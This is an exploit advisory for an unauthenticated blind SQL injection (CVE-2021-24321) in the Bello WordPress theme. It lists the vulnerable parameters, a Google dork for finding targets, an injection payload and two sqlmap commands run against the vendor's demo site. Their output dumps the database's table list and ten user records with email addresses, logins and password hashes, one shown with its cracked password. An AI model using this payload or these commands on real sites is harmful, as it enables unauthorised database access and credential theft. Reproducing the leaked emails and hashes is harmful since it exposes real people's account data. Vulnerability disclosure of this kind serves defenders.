Bello WordPress Theme <= 1.5.9 - Unauthenticated Blind SQL Injection

2021.05.17
ru m0ze (RU) ru
Risk: Low
Local: No
Remote: Yes
CWE: CWE-89

/*! - # VULNERABILITY: Bello WordPress Theme <= 1.5.9 - Unauthenticated Blind SQL Injection - # GOOGLE DORK: inurl:/wp-content/themes/bello/ - # DATE: 2021-03-21 - # SECURITY RESEARCHER: m0ze [ https://m0ze.ru ] - # VENDOR: BoldThemes [ https://bold-themes.com ] - # SOFTWARE VERSION: <= 1.5.9 - # SOFTWARE LINK: https://themeforest.net/item/bello-directory-listing-wordpress-theme/21815903 - # CVSS: AV:N/AC:L/PR:N/UI:N/S:C - # CWE: CWE-89 - # CVE: CVE-2021-24321 */ ### -- [ Info: ] [i] An Unauthenticated Blind SQL Injection vulnerability was discovered in the Bello theme through v1.5.9 for WordPress. [i] Vulnerable parameter(s): &bt_bb_listing_field_price_range_to=, &bt_bb_listing_field_now_open=, &bt_bb_listing_field_my_lng=, &listing_list_view=, &bt_bb_listing_field_my_lat=. [i] Blind SQL Injection type(s): boolean-based. [i] Plugin(s) affected: Bello by BoldThemes [ https://bold-themes.com ]. ### -- [ Impact: ] [~] Unauthorized access to sensitive data from the database (passwords, credit card details, personal user information), database data modification (Insert/Update/Delete), administration operations execution on the database (such as shutdown the DBMS), in some cases issue commands to the OS or performing a DoS attack. ### -- [ Payload: ] [$] -4034) OR 4877=4877 AND (2369=2369 ### -- [ PoC #1 | Unauthenticated Blind SQL Injection | Listing search query (tables): ] [!] sqlmap --url="https://bello.bold-themes.com/main-demo/listing/?&listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=40.6976637&bt_bb_listing_field_my_lng_default=-74.119764&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=4&bt_bb_listing_field_sort=4" -D radem293_wp485 --tables ___ __H__ ___ ___[(]_____ ___ ___ {1.5.3.16#dev} |_ -| . [,] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:43:11 /2021-03-21/ [01:43:11] [INFO] resuming back-end DBMS 'mysql' [01:43:11] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: bt_bb_listing_field_price_range_to (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: &listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=-88&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=-4034) OR 4877=4877 AND (2369=2369&bt_bb_listing_field_sort=4 --- [01:43:18] [INFO] the back-end DBMS is MySQL web application technology: PHP, Nginx back-end DBMS: MySQL unknown [01:43:18] [INFO] fetching tables for database: 'radem293_wp485' [01:43:18] [INFO] fetching number of tables for database 'radem293_wp485' [01:43:20] [WARNING] reflective value(s) found and filtering out Database: radem293_wp485 [132 tables] +-----------------------------------------------------+ | wpsk_2_actionscheduler_actions | | wpsk_2_actionscheduler_claims | | wpsk_2_actionscheduler_groups | | wpsk_2_actionscheduler_logs | | wpsk_2_commentmeta | | wpsk_2_comments | | wpsk_2_links | | wpsk_2_options | | wpsk_2_postmeta | | wpsk_2_posts | | wpsk_2_social_users | | wpsk_2_term_relationships | | wpsk_2_term_taxonomy | | wpsk_2_termmeta | | wpsk_2_terms | | wpsk_2_wc_admin_note_actions | | wpsk_2_wc_admin_notes | | wpsk_2_wc_category_lookup | | wpsk_2_wc_customer_lookup | | wpsk_2_wc_download_log | | wpsk_2_wc_order_coupon_lookup | | wpsk_2_wc_order_product_lookup | | wpsk_2_wc_order_stats | | wpsk_2_wc_order_tax_lookup | | wpsk_2_wc_product_meta_lookup | | wpsk_2_wc_tax_rate_classes | | wpsk_2_wc_webhooks | | wpsk_2_woocommerce_api_keys | | wpsk_2_woocommerce_attribute_taxonomies | | wpsk_2_woocommerce_downloadable_product_permissions | | wpsk_2_woocommerce_log | | wpsk_2_woocommerce_order_itemmeta | | wpsk_2_woocommerce_order_items | | wpsk_2_woocommerce_payment_tokenmeta | | wpsk_2_woocommerce_payment_tokens | | wpsk_2_woocommerce_sessions | | wpsk_2_woocommerce_shipping_zone_locations | | wpsk_2_woocommerce_shipping_zone_methods | | wpsk_2_woocommerce_shipping_zones | | wpsk_2_woocommerce_tax_rate_locations | | wpsk_2_woocommerce_tax_rates | | wpsk_3_actionscheduler_actions | | wpsk_3_actionscheduler_claims | | wpsk_3_actionscheduler_groups | | wpsk_3_actionscheduler_logs | | wpsk_3_commentmeta | | wpsk_3_comments | | wpsk_3_links | | wpsk_3_options | | wpsk_3_postmeta | | wpsk_3_posts | | wpsk_3_social_users | | wpsk_3_term_relationships | | wpsk_3_term_taxonomy | | wpsk_3_termmeta | | wpsk_3_terms | | wpsk_3_wc_admin_note_actions | | wpsk_3_wc_admin_notes | | wpsk_3_wc_category_lookup | | wpsk_3_wc_customer_lookup | | wpsk_3_wc_download_log | | wpsk_3_wc_order_coupon_lookup | | wpsk_3_wc_order_product_lookup | | wpsk_3_wc_order_stats | | wpsk_3_wc_order_tax_lookup | | wpsk_3_wc_product_meta_lookup | | wpsk_3_wc_tax_rate_classes | | wpsk_3_wc_webhooks | | wpsk_3_woocommerce_api_keys | | wpsk_3_woocommerce_attribute_taxonomies | | wpsk_3_woocommerce_downloadable_product_permissions | | wpsk_3_woocommerce_log | | wpsk_3_woocommerce_order_itemmeta | | wpsk_3_woocommerce_order_items | | wpsk_3_woocommerce_payment_tokenmeta | | wpsk_3_woocommerce_payment_tokens | | wpsk_3_woocommerce_sessions | | wpsk_3_woocommerce_shipping_zone_locations | | wpsk_3_woocommerce_shipping_zone_methods | | wpsk_3_woocommerce_shipping_zones | | wpsk_3_woocommerce_tax_rate_locations | | wpsk_3_woocommerce_tax_rates | | wpsk_actionscheduler_actions | | wpsk_actionscheduler_claims | | wpsk_actionscheduler_groups | | wpsk_actionscheduler_logs | | wpsk_blog_versions | | wpsk_blogmeta | | wpsk_blogs | | wpsk_commentmeta | | wpsk_comments | | wpsk_links | | wpsk_options | | wpsk_postmeta | | wpsk_posts | | wpsk_registration_log | | wpsk_signups | | wpsk_site | | wpsk_sitemeta | | wpsk_social_users | | wpsk_term_relationships | | wpsk_term_taxonomy | | wpsk_termmeta | | wpsk_terms | | wpsk_usermeta | | wpsk_users | | wpsk_wc_admin_note_actions | | wpsk_wc_admin_notes | | wpsk_wc_category_lookup | | wpsk_wc_customer_lookup | | wpsk_wc_download_log | | wpsk_wc_order_coupon_lookup | | wpsk_wc_order_product_lookup | | wpsk_wc_order_stats | | wpsk_wc_order_tax_lookup | | wpsk_wc_product_meta_lookup | | wpsk_wc_tax_rate_classes | | wpsk_wc_webhooks | | wpsk_woocommerce_api_keys | | wpsk_woocommerce_attribute_taxonomies | | wpsk_woocommerce_downloadable_product_permissions | | wpsk_woocommerce_log | | wpsk_woocommerce_order_itemmeta | | wpsk_woocommerce_order_items | | wpsk_woocommerce_payment_tokenmeta | | wpsk_woocommerce_payment_tokens | | wpsk_woocommerce_sessions | | wpsk_woocommerce_shipping_zone_locations | | wpsk_woocommerce_shipping_zone_methods | | wpsk_woocommerce_shipping_zones | | wpsk_woocommerce_tax_rate_locations | | wpsk_woocommerce_tax_rates | +-----------------------------------------------------+ [*] ending @ 01:44:45 /2021-03-21/ ### -- [ PoC #2 | Unauthenticated Blind SQL Injection | Listing search query ('wpsk_users' data): ] [!] sqlmap --url="https://bello.bold-themes.com/main-demo/listing/?&listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=40.6976637&bt_bb_listing_field_my_lng_default=-74.119764&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=4&bt_bb_listing_field_sort=4" -D radem293_wp485 -T wpsk_users -C id,user_email,user_login,user_pass ___ __H__ ___ ___[.]_____ ___ ___ {1.5.3.16#dev} |_ -| . [,] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:53:01 /2021-03-22/ [17:53:02] [INFO] resuming back-end DBMS 'mysql' [17:53:02] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: bt_bb_listing_field_price_range_to (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: &listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=-88&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=-4034) OR 4877=4877 AND (2369=2369&bt_bb_listing_field_sort=4 --- [17:53:08] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP back-end DBMS: MySQL unknown [17:53:08] [INFO] fetching entries of column(s) 'id,user_email,user_login,user_pass' for table 'wpsk_users' in database 'radem293_wp485' [17:53:08] [INFO] fetching number of column(s) 'id,user_email,user_login,user_pass' entries for table 'wpsk_users' in database 'radem293_wp485' [17:53:11] [WARNING] reflective value(s) found and filtering out Database: radem293_wp485 Table: wpsk_users [10 entries] +----+---------------------------------+-------------------------+---------------------------------------------+ | id | user_email | user_login | user_pass | +----+---------------------------------+-------------------------+---------------------------------------------+ | 1 | info@bold-themes.com | BoldThemes | $P$BLYLHDyPTxvVaYRwW7vnzlgHmGioBs1 | | 2 | admin-03@bold-themes.com | mike | $P$BUWs66Dwi66SaLM7gXyuHuplzzUhBn/ | | 3 | admin-01@bold-themes.com | joanna | $P$B56jorGqtnruHpxEtzUVQ/O7PJW8iv0 | | 4 | info.bold.themes@gmail.com | info.bold.themes | $P$BGHqpcBv4LNz2PuHi2pU6WtVi/Ryp3/ | | 5 | admin-05@bold-themes.com | eddie | $P$BSZwf0aAGEDMPzhwyLp03cUa0sTnOY/ | | 9 | jangizhashim.pasargad@gmail.com | jangizhashim | $P$B1yLpS0TNKaLsFtxaibD0TvxXW7Ej0/ | | 10 | hujjatuna@gmail.com | hujjatuna@gmail.com | $P$B5G6nPRkWlDRc1gi05jDucOPAeLLtZ0 | | 11 | pekermusa@gmail.com | pekermusa@gmail.com | $P$BjAOrMfoj0lc518MEk0EplsZjJJdme1 | | 12 | francischow@yahoo.com | francischow@yahoo.com | $P$Bzks/yvMgJClbxAp080b/In1kTANwj/ (123456) | | 13 | tifernini.dev@gmail.com | tifernini.dev@gmail.com | $P$BAVqRY7/.gm4UMgqIcH.CkYJvyv3Vl1 | +----+---------------------------------+-------------------------+---------------------------------------------+ [*] ending @ 19:13:26 /2021-03-22/ ### -- [ Contacts: ] [+] Website: m0ze.ru [+] GitHub: @m0ze [+] Telegram: @m0ze_ru [+] Twitter: @vladm0ze

References:

https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-89%5D-Bello-WordPress-Theme-v1.5.9.txt
https://twitter.com/vladm0ze


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